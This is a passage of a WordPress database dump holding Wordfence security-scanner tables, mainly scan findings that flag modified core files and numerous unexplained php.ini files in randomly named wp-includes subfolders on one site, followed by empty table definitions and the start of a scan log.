(3,1789251206,1789251206,'new','knownfile',75,'9f7874a4807aaa0a8b250cc9dcdcdee7','95479f64da0e6be1a5559651feece44e','WordPress core file modified: wp-admin/includes/update-core.php','This WordPress core file has been modified and differs from the original file distributed with this version of WordPress.','a:7:{s:4:\"file\";s:33:\"wp-admin/includes/update-core.php\";s:8:\"realFile\";s:63:\"/home/trevorkl/trevorklee.com/wp-admin/includes/update-core.php\";s:5:\"cType\";s:4:\"core\";s:7:\"canDiff\";b:1;s:6:\"canFix\";b:1;s:9:\"canDelete\";b:0;s:10:\"haveIssues\";s:4:\"core\";}'),
(4,1789251208,1789251208,'new','knownfile',75,'ee65928cdce89c8114c1ebfd1d4a56b1','c10d5d1f5c27badd19f3e882f42b0dbe','Unknown file in WordPress core: wp-includes/Text/elbyraq/1qafueo/vlkr1cf/php.ini','This file is in a WordPress core location but is not distributed with this version of WordPress. This scan often includes files left over from a previous WordPress version, but it may also find files added by another plugin, files added by your host, or malicious files added by an attacker.','a:9:{s:4:\"file\";s:48:\"wp-includes/Text/elbyraq/1qafueo/vlkr1cf/php.ini\";s:8:\"realFile\";s:78:\"/home/trevorkl/trevorklee.com/wp-includes/Text/elbyraq/1qafueo/vlkr1cf/php.ini\";s:5:\"cType\";s:4:\"core\";s:7:\"canDiff\";b:0;s:6:\"canFix\";b:0;s:9:\"canDelete\";b:1;s:8:\"coalesce\";s:7:\"php.ini\";s:9:\"learnMore\";s:80:\"https://www.wordfence.com/help/?query=scan-result-unknown-file-in-wordpress-core\";s:10:\"haveIssues\";s:11:\"coreUnknown\";}'),
(5,1789251208,1789251208,'new','knownfile',75,'b85359e2b49982b27272a5f66fa34399','7f9169114aba980c23e0743eea25fc64','Unknown file in WordPress core: wp-includes/Text/icatnpe/yrpuihc/yjqepgf/php.ini','This file is in a WordPress core location but is not distributed with this version of WordPress. This scan often includes files left over from a previous WordPress version, but it may also find files added by another plugin, files added by your host, or malicious files added by an attacker.','a:9:{s:4:\"file\";s:48:\"wp-includes/Text/icatnpe/yrpuihc/yjqepgf/php.ini\";s:8:\"realFile\";s:78:\"/home/trevorkl/trevorklee.com/wp-includes/Text/icatnpe/yrpuihc/yjqepgf/php.ini\";s:5:\"cType\";s:4:\"core\";s:7:\"canDiff\";b:0;s:6:\"canFix\";b:0;s:9:\"canDelete\";b:1;s:8:\"coalesce\";s:7:\"php.ini\";s:9:\"learnMore\";s:80:\"https://www.wordfence.com/help/?query=scan-result-unknown-file-in-wordpress-core\";s:10:\"haveIssues\";s:11:\"coreUnknown\";}'),
(6,1789251208,1789251208,'new','knownfile',75,'78894f6f9829b5a487f7c93a3039e1fc','15149d9b43f808c63882219b803aa251','Unknown file in WordPress core: wp-includes/Text/udewhxn/krxqwmf/umvqkrn/php.ini','This file is in a WordPress core location but is not distributed with this version of WordPress. This scan often includes files left over from a previous WordPress version, but it may also find files added by another plugin, files added by your host, or malicious files added by an attacker.','a:9:{s:4:\"file\";s:48:\"wp-includes/Text/udewhxn/krxqwmf/umvqkrn/php.ini\";s:8:\"realFile\";s:78:\"/home/trevorkl/trevorklee.com/wp-includes/Text/udewhxn/krxqwmf/umvqkrn/php.ini\";s:5:\"cType\";s:4:\"core\";s:7:\"canDiff\";b:0;s:6:\"canFix\";b:0;s:9:\"canDelete\";b:1;s:8:\"coalesce\";s:7:\"php.ini\";s:9:\"learnMore\";s:80:\"https://www.wordfence.com/help/?query=scan-result-unknown-file-in-wordpress-core\";s:10:\"haveIssues\";s:11:\"coreUnknown\";}'),
(7,1789251208,1789251208,'new','knownfile',75,'2b430a272d683eb729d9a42d8f7a422b','985dfeaae290a49fa9fac786000d8e28','Unknown file in WordPress core: wp-includes/Text/yk1mjid/wgocz1i/vydqnsb/php.ini','This file is in a WordPress core location but is not distributed with this version of WordPress. This scan often includes files left over from a previous WordPress version, but it may also find files added by another plugin, files added by your host, or malicious files added by an attacker.','a:9:{s:4:\"file\";s:48:\"wp-includes/Text/yk1mjid/wgocz1i/vydqnsb/php.ini\";s:8:\"realFile\";s:78:\"/home/trevorkl/trevorklee.com/wp-includes/Text/yk1mjid/wgocz1i/vydqnsb/php.ini\";s:5:\"cType\";s:4:\"core\";s:7:\"canDiff\";b:0;s:6:\"canFix\";b:0;s:9:\"canDelete\";b:1;s:8:\"coalesce\";s:7:\"php.ini\";s:9:\"learnMore\";s:80:\"https://www.wordfence.com/help/?query=scan-result-unknown-file-in-wordpress-core\";s:10:\"haveIssues\";s:11:\"coreUnknown\";}'),
(8,1789251209,1789251209,'new','knownfile',75,'899961bb55e2718a396486eb3ad53f4c','d8fb7b96b2d47a51a4c8b19061d0d8f3','Unknown file in WordPress core: wp-includes/html-api/1xhyzgt/xahpzbq/mpcxgqh/php.ini','This file is in a WordPress core location but is not distributed with this version of WordPress. This scan often includes files left over from a previous WordPress version, but it may also find files added by another plugin, files added by your host, or malicious files added by an attacker.','a:9:{s:4:\"file\";s:52:\"wp-includes/html-api/1xhyzgt/xahpzbq/mpcxgqh/php.ini\";s:8:\"realFile\";s:82:\"/home/trevorkl/trevorklee.com/wp-includes/html-api/1xhyzgt/xahpzbq/mpcxgqh/php.ini\";s:5:\"cType\";s:4:\"core\";s:7:\"canDiff\";b:0;s:6:\"canFix\";b:0;s:9:\"canDelete\";b:1;s:8:\"coalesce\";s:7:\"php.ini\";s:9:\"learnMore\";s:80:\"https://www.wordfence.com/help/?query=scan-result-unknown-file-in-wordpress-core\";s:10:\"haveIssues\";s:11:\"coreUnknown\";}'),
(9,1789251209,1789251209,'new','knownfile',75,'ae53c5871e276e58d30134718fa19a01','3bd524d9d263e80e3bb04d6e4382ddbd','Unknown file in WordPress core: wp-includes/html-api/gcqoh1b/ecjxzqp/nmorylh/php.ini','This file is in a WordPress core location but is not distributed with this version of WordPress. This scan often includes files left over from a previous WordPress version, but it may also find files added by another plugin, files added by your host, or malicious files added by an attacker.','a:9:{s:4:\"file\";s:52:\"wp-includes/html-api/gcqoh1b/ecjxzqp/nmorylh/php.ini\";s:8:\"realFile\";s:82:\"/home/trevorkl/trevorklee.com/wp-includes/html-api/gcqoh1b/ecjxzqp/nmorylh/php.ini\";s:5:\"cType\";s:4:\"core\";s:7:\"canDiff\";b:0;s:6:\"canFix\";b:0;s:9:\"canDelete\";b:1;s:8:\"coalesce\";s:7:\"php.ini\";s:9:\"learnMore\";s:80:\"https://www.wordfence.com/help/?query=scan-result-unknown-file-in-wordpress-core\";s:10:\"haveIssues\";s:11:\"coreUnknown\";}'),
(10,1789251209,1789251209,'new','knownfile',75,'007fd3969a2eee7dae6e4af41eafe1c4','70401816de388c0fdff022ad042eaa41','Unknown file in WordPress core: wp-includes/html-api/knojvbd/lyuifac/csdhol1/php.ini','This file is in a WordPress core location but is not distributed with this version of WordPress. This scan often includes files left over from a previous WordPress version, but it may also find files added by another plugin, files added by your host, or malicious files added by an attacker.','a:9:{s:4:\"file\";s:52:\"wp-includes/html-api/knojvbd/lyuifac/csdhol1/php.ini\";s:8:\"realFile\";s:82:\"/home/trevorkl/trevorklee.com/wp-includes/html-api/knojvbd/lyuifac/csdhol1/php.ini\";s:5:\"cType\";s:4:\"core\";s:7:\"canDiff\";b:0;s:6:\"canFix\";b:0;s:9:\"canDelete\";b:1;s:8:\"coalesce\";s:7:\"php.ini\";s:9:\"learnMore\";s:80:\"https://www.wordfence.com/help/?query=scan-result-unknown-file-in-wordpress-core\";s:10:\"haveIssues\";s:11:\"coreUnknown\";}'),
(11,1789251209,1789251209,'new','knownfile',75,'4dcd133380cbddaf98a9ba26612cfa39','7d2e0650c2194022816ddc8b8b43356c','Unknown file in WordPress core: wp-includes/html-api/lpyi1nu/qounslr/thbgjzr/php.ini','This file is in a WordPress core location but is not distributed with this version of WordPress. This scan often includes files left over from a previous WordPress version, but it may also find files added by another plugin, files added by your host, or malicious files added by an attacker.','a:9:{s:4:\"file\";s:52:\"wp-includes/html-api/lpyi1nu/qounslr/thbgjzr/php.ini\";s:8:\"realFile\";s:82:\"/home/trevorkl/trevorklee.com/wp-includes/html-api/lpyi1nu/qounslr/thbgjzr/php.ini\";s:5:\"cType\";s:4:\"core\";s:7:\"canDiff\";b:0;s:6:\"canFix\";b:0;s:9:\"canDelete\";b:1;s:8:\"coalesce\";s:7:\"php.ini\";s:9:\"learnMore\";s:80:\"https://www.wordfence.com/help/?query=scan-result-unknown-file-in-wordpress-core\";s:10:\"haveIssues\";s:11:\"coreUnknown\";}'),
(12,1789251209,1789251209,'new','knownfile',75,'4564028b0bed3cd9dcdaeca43fcfac7d','2e35cb1c811ff322c91e52496089b1b7','Unknown file in WordPress core: wp-includes/html-api/rcfospm/yrfsgvq/lag1xoi/php.ini','This file is in a WordPress core location but is not distributed with this version of WordPress. This scan often includes files left over from a previous WordPress version, but it may also find files added by another plugin, files added by your host, or malicious files added by an attacker.','a:9:{s:4:\"file\";s:52:\"wp-includes/html-api/rcfospm/yrfsgvq/lag1xoi/php.ini\";s:8:\"realFile\";s:82:\"/home/trevorkl/trevorklee.com/wp-includes/html-api/rcfospm/yrfsgvq/lag1xoi/php.ini\";s:5:\"cType\";s:4:\"core\";s:7:\"canDiff\";b:0;s:6:\"canFix\";b:0;s:9:\"canDelete\";b:1;s:8:\"coalesce\";s:7:\"php.ini\";s:9:\"learnMore\";s:80:\"https://www.wordfence.com/help/?query=scan-result-unknown-file-in-wordpress-core\";s:10:\"haveIssues\";s:11:\"coreUnknown\";}'),
(13,1789251209,1789251209,'new','knownfile',75,'65c29d5b1f06af49ebaaa889ffb67a0e','ec5c89b4c88c35378776ca7e13e6dff6','Unknown file in WordPress core: wp-includes/html-api/smzgnbc/vxswmkl/biodtqz/php.ini','This file is in a WordPress core location but is not distributed with this version of WordPress. This scan often includes files left over from a previous WordPress version, but it may also find files added by another plugin, files added by your host, or malicious files added by an attacker.','a:9:{s:4:\"file\";s:52:\"wp-includes/html-api/smzgnbc/vxswmkl/biodtqz/php.ini\";s:8:\"realFile\";s:82:\"/home/trevorkl/trevorklee.com/wp-includes/html-api/smzgnbc/vxswmkl/biodtqz/php.ini\";s:5:\"cType\";s:4:\"core\";s:7:\"canDiff\";b:0;s:6:\"canFix\";b:0;s:9:\"canDelete\";b:1;s:8:\"coalesce\";s:7:\"php.ini\";s:9:\"learnMore\";s:80:\"https://www.wordfence.com/help/?query=scan-result-unknown-file-in-wordpress-core\";s:10:\"haveIssues\";s:11:\"coreUnknown\";}'),
(14,1789251209,1789251209,'new','knownfile',75,'b4871f38c5cc468717641486a62f7fe1','d7c3aea55a791dd584fa207388ba8b54','Unknown file in WordPress core: wp-includes/html-api/xegynso/gqy1pns/xpjdifr/php.ini','This file is in a WordPress core location but is not distributed with this version of WordPress. This scan often includes files left over from a previous WordPress version, but it may also find files added by another plugin, files added by your host, or malicious files added by an attacker.','a:9:{s:4:\"file\";s:52:\"wp-includes/html-api/xegynso/gqy1pns/xpjdifr/php.ini\";s:8:\"realFile\";s:82:\"/home/trevorkl/trevorklee.com/wp-includes/html-api/xegynso/gqy1pns/xpjdifr/php.ini\";s:5:\"cType\";s:4:\"core\";s:7:\"canDiff\";b:0;s:6:\"canFix\";b:0;s:9:\"canDelete\";b:1;s:8:\"coalesce\";s:7:\"php.ini\";s:9:\"learnMore\";s:80:\"https://www.wordfence.com/help/?query=scan-result-unknown-file-in-wordpress-core\";s:10:\"haveIssues\";s:11:\"coreUnknown\";}'),
(15,1789251218,1789251218,'new','knownfile',75,'b4230bf916e6429fd6d43c16995c76fe','e619ffc2fcfed6e255c0c9fe12f5bffc','WordPress core file modified: wp-includes/plugin.php','This WordPress core file has been modified and differs from the original file distributed with this version of WordPress.','a:7:{s:4:\"file\";s:22:\"wp-includes/plugin.php\";s:8:\"realFile\";s:52:\"/home/trevorkl/trevorklee.com/wp-includes/plugin.php\";s:5:\"cType\";s:4:\"core\";s:7:\"canDiff\";b:1;s:6:\"canFix\";b:1;s:9:\"canDelete\";b:0;s:10:\"haveIssues\";s:4:\"core\";}'),
(16,1789251218,1789251218,'new','knownfile',75,'85c06094a99305a76e6de4806d685af9','eb6a1f23037ea9c6306c76f9461cc022','Unknown file in WordPress core: wp-includes/sitemaps/1xuftgv/dtrewsx/dfjriyc/php.ini','This file is in a WordPress core location but is not distributed with this version of WordPress. This scan often includes files left over from a previous WordPress version, but it may also find files added by another plugin, files added by your host, or malicious files added by an attacker.','a:9:{s:4:\"file\";s:52:\"wp-includes/sitemaps/1xuftgv/dtrewsx/dfjriyc/php.ini\";s:8:\"realFile\";s:82:\"/home/trevorkl/trevorklee.com/wp-includes/sitemaps/1xuftgv/dtrewsx/dfjriyc/php.ini\";s:5:\"cType\";s:4:\"core\";s:7:\"canDiff\";b:0;s:6:\"canFix\";b:0;s:9:\"canDelete\";b:1;s:8:\"coalesce\";s:7:\"php.ini\";s:9:\"learnMore\";s:80:\"https://www.wordfence.com/help/?query=scan-result-unknown-file-in-wordpress-core\";s:10:\"haveIssues\";s:11:\"coreUnknown\";}'),
(17,1789251218,1789251218,'new','knownfile',75,'c2350ff71882fe22ab7aaa5d08d4bcbc','017d46d21a1f7d4e1b5d7d4cfb07c3db','Unknown file in WordPress core: wp-includes/sitemaps/egf1kul/ytws1xl/yvgo1is/php.ini','This file is in a WordPress core location but is not distributed with this version of WordPress. This scan often includes files left over from a previous WordPress version, but it may also find files added by another plugin, files added by your host, or malicious files added by an attacker.','a:9:{s:4:\"file\";s:52:\"wp-includes/sitemaps/egf1kul/ytws1xl/yvgo1is/php.ini\";s:8:\"realFile\";s:82:\"/home/trevorkl/trevorklee.com/wp-includes/sitemaps/egf1kul/ytws1xl/yvgo1is/php.ini\";s:5:\"cType\";s:4:\"core\";s:7:\"canDiff\";b:0;s:6:\"canFix\";b:0;s:9:\"canDelete\";b:1;s:8:\"coalesce\";s:7:\"php.ini\";s:9:\"learnMore\";s:80:\"https://www.wordfence.com/help/?query=scan-result-unknown-file-in-wordpress-core\";s:10:\"haveIssues\";s:11:\"coreUnknown\";}'),
(18,1789251218,1789251218,'new','knownfile',75,'08035b60f69e17b160617e3a49e5fed1','9dd75de4c34bcb847b6491c73e725501','Unknown file in WordPress core: wp-includes/sitemaps/fxpu1qt/uspyrgz/qe1mhav/php.ini','This file is in a WordPress core location but is not distributed with this version of WordPress. This scan often includes files left over from a previous WordPress version, but it may also find files added by another plugin, files added by your host, or malicious files added by an attacker.','a:9:{s:4:\"file\";s:52:\"wp-includes/sitemaps/fxpu1qt/uspyrgz/qe1mhav/php.ini\";s:8:\"realFile\";s:82:\"/home/trevorkl/trevorklee.com/wp-includes/sitemaps/fxpu1qt/uspyrgz/qe1mhav/php.ini\";s:5:\"cType\";s:4:\"core\";s:7:\"canDiff\";b:0;s:6:\"canFix\";b:0;s:9:\"canDelete\";b:1;s:8:\"coalesce\";s:7:\"php.ini\";s:9:\"learnMore\";s:80:\"https://www.wordfence.com/help/?query=scan-result-unknown-file-in-wordpress-core\";s:10:\"haveIssues\";s:11:\"coreUnknown\";}'),
(19,1789251218,1789251218,'new','knownfile',75,'9ece0c1c461970747f13f8e02f5b9b9f','d3ac9e800ca66f7fcfde0f377c1b11c1','Unknown file in WordPress core: wp-includes/sitemaps/gajftko/rdkfahv/gqcshxk/php.ini','This file is in a WordPress core location but is not distributed with this version of WordPress. This scan often includes files left over from a previous WordPress version, but it may also find files added by another plugin, files added by your host, or malicious files added by an attacker.','a:9:{s:4:\"file\";s:52:\"wp-includes/sitemaps/gajftko/rdkfahv/gqcshxk/php.ini\";s:8:\"realFile\";s:82:\"/home/trevorkl/trevorklee.com/wp-includes/sitemaps/gajftko/rdkfahv/gqcshxk/php.ini\";s:5:\"cType\";s:4:\"core\";s:7:\"canDiff\";b:0;s:6:\"canFix\";b:0;s:9:\"canDelete\";b:1;s:8:\"coalesce\";s:7:\"php.ini\";s:9:\"learnMore\";s:80:\"https://www.wordfence.com/help/?query=scan-result-unknown-file-in-wordpress-core\";s:10:\"haveIssues\";s:11:\"coreUnknown\";}'),
(20,1789251218,1789251218,'new','knownfile',75,'28d4015a12ae167b0a6992c17f7d13b7','824d0ea566290d48655733d865ef5c50','Unknown file in WordPress core: wp-includes/sitemaps/kjfl1bg/ky1monx/jzyscnm/php.ini','This file is in a WordPress core location but is not distributed with this version of WordPress. This scan often includes files left over from a previous WordPress version, but it may also find files added by another plugin, files added by your host, or malicious files added by an attacker.','a:9:{s:4:\"file\";s:52:\"wp-includes/sitemaps/kjfl1bg/ky1monx/jzyscnm/php.ini\";s:8:\"realFile\";s:82:\"/home/trevorkl/trevorklee.com/wp-includes/sitemaps/kjfl1bg/ky1monx/jzyscnm/php.ini\";s:5:\"cType\";s:4:\"core\";s:7:\"canDiff\";b:0;s:6:\"canFix\";b:0;s:9:\"canDelete\";b:1;s:8:\"coalesce\";s:7:\"php.ini\";s:9:\"learnMore\";s:80:\"https://www.wordfence.com/help/?query=scan-result-unknown-file-in-wordpress-core\";s:10:\"haveIssues\";s:11:\"coreUnknown\";}'),
(21,1789251218,1789251218,'new','knownfile',75,'2e32c9c59dff35031276f8cc9b29e081','819924885468bf1fb5cf170b827a27b8','Unknown file in WordPress core: wp-includes/sitemaps/lpshcut/udgvzwn/gnjmtri/php.ini','This file is in a WordPress core location but is not distributed with this version of WordPress. This scan often includes files left over from a previous WordPress version, but it may also find files added by another plugin, files added by your host, or malicious files added by an attacker.','a:9:{s:4:\"file\";s:52:\"wp-includes/sitemaps/lpshcut/udgvzwn/gnjmtri/php.ini\";s:8:\"realFile\";s:82:\"/home/trevorkl/trevorklee.com/wp-includes/sitemaps/lpshcut/udgvzwn/gnjmtri/php.ini\";s:5:\"cType\";s:4:\"core\";s:7:\"canDiff\";b:0;s:6:\"canFix\";b:0;s:9:\"canDelete\";b:1;s:8:\"coalesce\";s:7:\"php.ini\";s:9:\"learnMore\";s:80:\"https://www.wordfence.com/help/?query=scan-result-unknown-file-in-wordpress-core\";s:10:\"haveIssues\";s:11:\"coreUnknown\";}'),
(22,1789251218,1789251218,'new','knownfile',75,'651e5d23e15563da5dc5fad2488c4c37','c2d2bc0ad3f5101f5917a465553d3aeb','Unknown file in WordPress core: wp-includes/sitemaps/nsrytze/1apqerf/exnsmrk/php.ini','This file is in a WordPress core location but is not distributed with this version of WordPress. This scan often includes files left over from a previous WordPress version, but it may also find files added by another plugin, files added by your host, or malicious files added by an attacker.','a:9:{s:4:\"file\";s:52:\"wp-includes/sitemaps/nsrytze/1apqerf/exnsmrk/php.ini\";s:8:\"realFile\";s:82:\"/home/trevorkl/trevorklee.com/wp-includes/sitemaps/nsrytze/1apqerf/exnsmrk/php.ini\";s:5:\"cType\";s:4:\"core\";s:7:\"canDiff\";b:0;s:6:\"canFix\";b:0;s:9:\"canDelete\";b:1;s:8:\"coalesce\";s:7:\"php.ini\";s:9:\"learnMore\";s:80:\"https://www.wordfence.com/help/?query=scan-result-unknown-file-in-wordpress-core\";s:10:\"haveIssues\";s:11:\"coreUnknown\";}'),
(23,1789251218,1789251218,'new','knownfile',75,'6170989e3126e2d6c3969b8b8c4c4d86','672e6f0e51c456c90feba9e010285d35','Unknown file in WordPress core: wp-includes/sitemaps/ntueyzv/yvqrbhm/jmzckyd/php.ini','This file is in a WordPress core location but is not distributed with this version of WordPress. This scan often includes files left over from a previous WordPress version, but it may also find files added by another plugin, files added by your host, or malicious files added by an attacker.','a:9:{s:4:\"file\";s:52:\"wp-includes/sitemaps/ntueyzv/yvqrbhm/jmzckyd/php.ini\";s:8:\"realFile\";s:82:\"/home/trevorkl/trevorklee.com/wp-includes/sitemaps/ntueyzv/yvqrbhm/jmzckyd/php.ini\";s:5:\"cType\";s:4:\"core\";s:7:\"canDiff\";b:0;s:6:\"canFix\";b:0;s:9:\"canDelete\";b:1;s:8:\"coalesce\";s:7:\"php.ini\";s:9:\"learnMore\";s:80:\"https://www.wordfence.com/help/?query=scan-result-unknown-file-in-wordpress-core\";s:10:\"haveIssues\";s:11:\"coreUnknown\";}'),
(24,1789251218,1789251218,'new','knownfile',75,'86f64cb3d837a5a1e24a8e96a5d2fcbc','a8fcf8ce38e120cebc8849d0edf96a49','Unknown file in WordPress core: wp-includes/sitemaps/sqh1xut/mjntoed/jprxeqi/php.ini','This file is in a WordPress core location but is not distributed with this version of WordPress. This scan often includes files left over from a previous WordPress version, but it may also find files added by another plugin, files added by your host, or malicious files added by an attacker.','a:9:{s:4:\"file\";s:52:\"wp-includes/sitemaps/sqh1xut/mjntoed/jprxeqi/php.ini\";s:8:\"realFile\";s:82:\"/home/trevorkl/trevorklee.com/wp-includes/sitemaps/sqh1xut/mjntoed/jprxeqi/php.ini\";s:5:\"cType\";s:4:\"core\";s:7:\"canDiff\";b:0;s:6:\"canFix\";b:0;s:9:\"canDelete\";b:1;s:8:\"coalesce\";s:7:\"php.ini\";s:9:\"learnMore\";s:80:\"https://www.wordfence.com/help/?query=scan-result-unknown-file-in-wordpress-core\";s:10:\"haveIssues\";s:11:\"coreUnknown\";}'),
(25,1789251218,1789251218,'new','knownfile',75,'83b21957b3b16dace31c026eda3c410b','192b5882df626877e6bde22755a211bf','Unknown file in WordPress core: wp-includes/sitemaps/svjbhyp/nogdurq/cuklbxg/php.ini','This file is in a WordPress core location but is not distributed with this version of WordPress. This scan often includes files left over from a previous WordPress version, but it may also find files added by another plugin, files added by your host, or malicious files added by an attacker.','a:9:{s:4:\"file\";s:52:\"wp-includes/sitemaps/svjbhyp/nogdurq/cuklbxg/php.ini\";s:8:\"realFile\";s:82:\"/home/trevorkl/trevorklee.com/wp-includes/sitemaps/svjbhyp/nogdurq/cuklbxg/php.ini\";s:5:\"cType\";s:4:\"core\";s:7:\"canDiff\";b:0;s:6:\"canFix\";b:0;s:9:\"canDelete\";b:1;s:8:\"coalesce\";s:7:\"php.ini\";s:9:\"learnMore\";s:80:\"https://www.wordfence.com/help/?query=scan-result-unknown-file-in-wordpress-core\";s:10:\"haveIssues\";s:11:\"coreUnknown\";}'),
(26,1789251218,1789251218,'new','knownfile',75,'80e6cda7c5751c43681ebb0698e09009','0d5dc9d2e19004ca1f5d89f052441d74','Unknown file in WordPress core: wp-includes/sitemaps/ubxnoaj/xwlk1ch/slmhuvx/php.ini','This file is in a WordPress core location but is not distributed with this version of WordPress. This scan often includes files left over from a previous WordPress version, but it may also find files added by another plugin, files added by your host, or malicious files added by an attacker.','a:9:{s:4:\"file\";s:52:\"wp-includes/sitemaps/ubxnoaj/xwlk1ch/slmhuvx/php.ini\";s:8:\"realFile\";s:82:\"/home/trevorkl/trevorklee.com/wp-includes/sitemaps/ubxnoaj/xwlk1ch/slmhuvx/php.ini\";s:5:\"cType\";s:4:\"core\";s:7:\"canDiff\";b:0;s:6:\"canFix\";b:0;s:9:\"canDelete\";b:1;s:8:\"coalesce\";s:7:\"php.ini\";s:9:\"learnMore\";s:80:\"https://www.wordfence.com/help/?query=scan-result-unknown-file-in-wordpress-core\";s:10:\"haveIssues\";s:11:\"coreUnknown\";}'),
(27,1789251218,1789251218,'new','knownfile',75,'3b2b0eda92508be4224abefbb618e75e','a728196903ff57a8bb37880dd7174b2e','Unknown file in WordPress core: wp-includes/sitemaps/ufbsx1k/gzkrwvm/zwdlvtu/php.ini','This file is in a WordPress core location but is not distributed with this version of WordPress. This scan often includes files left over from a previous WordPress version, but it may also find files added by another plugin, files added by your host, or malicious files added by an attacker.','a:9:{s:4:\"file\";s:52:\"wp-includes/sitemaps/ufbsx1k/gzkrwvm/zwdlvtu/php.ini\";s:8:\"realFile\";s:82:\"/home/trevorkl/trevorklee.com/wp-includes/sitemaps/ufbsx1k/gzkrwvm/zwdlvtu/php.ini\";s:5:\"cType\";s:4:\"core\";s:7:\"canDiff\";b:0;s:6:\"canFix\";b:0;s:9:\"canDelete\";b:1;s:8:\"coalesce\";s:7:\"php.ini\";s:9:\"learnMore\";s:80:\"https://www.wordfence.com/help/?query=scan-result-unknown-file-in-wordpress-core\";s:10:\"haveIssues\";s:11:\"coreUnknown\";}'),
(28,1789251218,1789251218,'new','knownfile',75,'b25b6dfa6e23925ed349f6a515fd6414','5c6d9031668ab642c9a4107416a27132','Unknown file in WordPress core: wp-includes/theme-compat/oq1ieuz/xjpufdc/mpdvuix/php.ini','This file is in a WordPress core location but is not distributed with this version of WordPress. This scan often includes files left over from a previous WordPress version, but it may also find files added by another plugin, files added by your host, or malicious files added by an attacker.','a:9:{s:4:\"file\";s:56:\"wp-includes/theme-compat/oq1ieuz/xjpufdc/mpdvuix/php.ini\";s:8:\"realFile\";s:86:\"/home/trevorkl/trevorklee.com/wp-includes/theme-compat/oq1ieuz/xjpufdc/mpdvuix/php.ini\";s:5:\"cType\";s:4:\"core\";s:7:\"canDiff\";b:0;s:6:\"canFix\";b:0;s:9:\"canDelete\";b:1;s:8:\"coalesce\";s:7:\"php.ini\";s:9:\"learnMore\";s:80:\"https://www.wordfence.com/help/?query=scan-result-unknown-file-in-wordpress-core\";s:10:\"haveIssues\";s:11:\"coreUnknown\";}');
/*!40000 ALTER TABLE `wp4v_wfpendingissues` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `wp4v_wfreversecache`
--

DROP TABLE IF EXISTS `wp4v_wfreversecache`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8mb4 */;
CREATE TABLE `wp4v_wfreversecache` (
  `IP` binary(16) NOT NULL DEFAULT '\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',
  `host` varchar(255) NOT NULL,
  `lastUpdate` int(10) unsigned NOT NULL,
  PRIMARY KEY (`IP`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_general_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `wp4v_wfreversecache`
--

LOCK TABLES `wp4v_wfreversecache` WRITE;
/*!40000 ALTER TABLE `wp4v_wfreversecache` DISABLE KEYS */;
/*!40000 ALTER TABLE `wp4v_wfreversecache` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `wp4v_wfsecurityevents`
--

DROP TABLE IF EXISTS `wp4v_wfsecurityevents`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8mb4 */;
CREATE TABLE `wp4v_wfsecurityevents` (
  `id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
  `type` varchar(255) NOT NULL DEFAULT '',
  `data` text NOT NULL,
  `event_time` double(14,4) NOT NULL,
  `state` enum('new','sending','sent') NOT NULL DEFAULT 'new',
  `state_timestamp` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(),
  PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_general_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `wp4v_wfsecurityevents`
--

LOCK TABLES `wp4v_wfsecurityevents` WRITE;
/*!40000 ALTER TABLE `wp4v_wfsecurityevents` DISABLE KEYS */;
/*!40000 ALTER TABLE `wp4v_wfsecurityevents` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `wp4v_wfsnipcache`
--

DROP TABLE IF EXISTS `wp4v_wfsnipcache`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8mb4 */;
CREATE TABLE `wp4v_wfsnipcache` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `IP` varchar(45) NOT NULL DEFAULT '',
  `expiration` timestamp NOT NULL DEFAULT current_timestamp(),
  `body` varchar(255) NOT NULL DEFAULT '',
  `count` int(10) unsigned NOT NULL DEFAULT 0,
  `type` int(10) unsigned NOT NULL DEFAULT 0,
  PRIMARY KEY (`id`),
  KEY `expiration` (`expiration`),
  KEY `IP` (`IP`),
  KEY `type` (`type`)
) ENGINE=InnoDB AUTO_INCREMENT=5 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_general_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `wp4v_wfsnipcache`
--

LOCK TABLES `wp4v_wfsnipcache` WRITE;
/*!40000 ALTER TABLE `wp4v_wfsnipcache` DISABLE KEYS */;
/*!40000 ALTER TABLE `wp4v_wfsnipcache` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `wp4v_wfstatus`
--

DROP TABLE IF EXISTS `wp4v_wfstatus`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8mb4 */;
CREATE TABLE `wp4v_wfstatus` (
  `id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
  `ctime` double(17,6) unsigned NOT NULL,
  `level` tinyint(3) unsigned NOT NULL,
  `type` char(5) NOT NULL,
  `msg` varchar(1000) NOT NULL,
  PRIMARY KEY (`id`),
  KEY `k1` (`ctime`),
  KEY `k2` (`type`)
) ENGINE=InnoDB AUTO_INCREMENT=253 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_general_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `wp4v_wfstatus`
--

LOCK TABLES `wp4v_wfstatus` WRITE;
/*!40000 ALTER TABLE `wp4v_wfstatus` DISABLE KEYS */;
INSERT INTO `wp4v_wfstatus` VALUES
(1,1789251162.443734,10,'info','SUM_PREP:Preparing a new scan.'),
(2,1789251162.446012,1,'info','Initiating quick scan'),
(3,1789251162.449350,10,'info','SUM_START:Checking Web Application Firewall status'),
(4,1789251162.449863,10,'info','SUM_ENDOK:Checking Web Application Firewall status'),
(5,1789251162.491546,10,'info','SUM_START:Scanning for old themes, plugins and core files'),
(6,1789251162.747724,10,'info','SUM_ENDBAD:Scanning for old themes, plugins and core files'),
(7,1789251162.750377,1,'info','-------------------'),
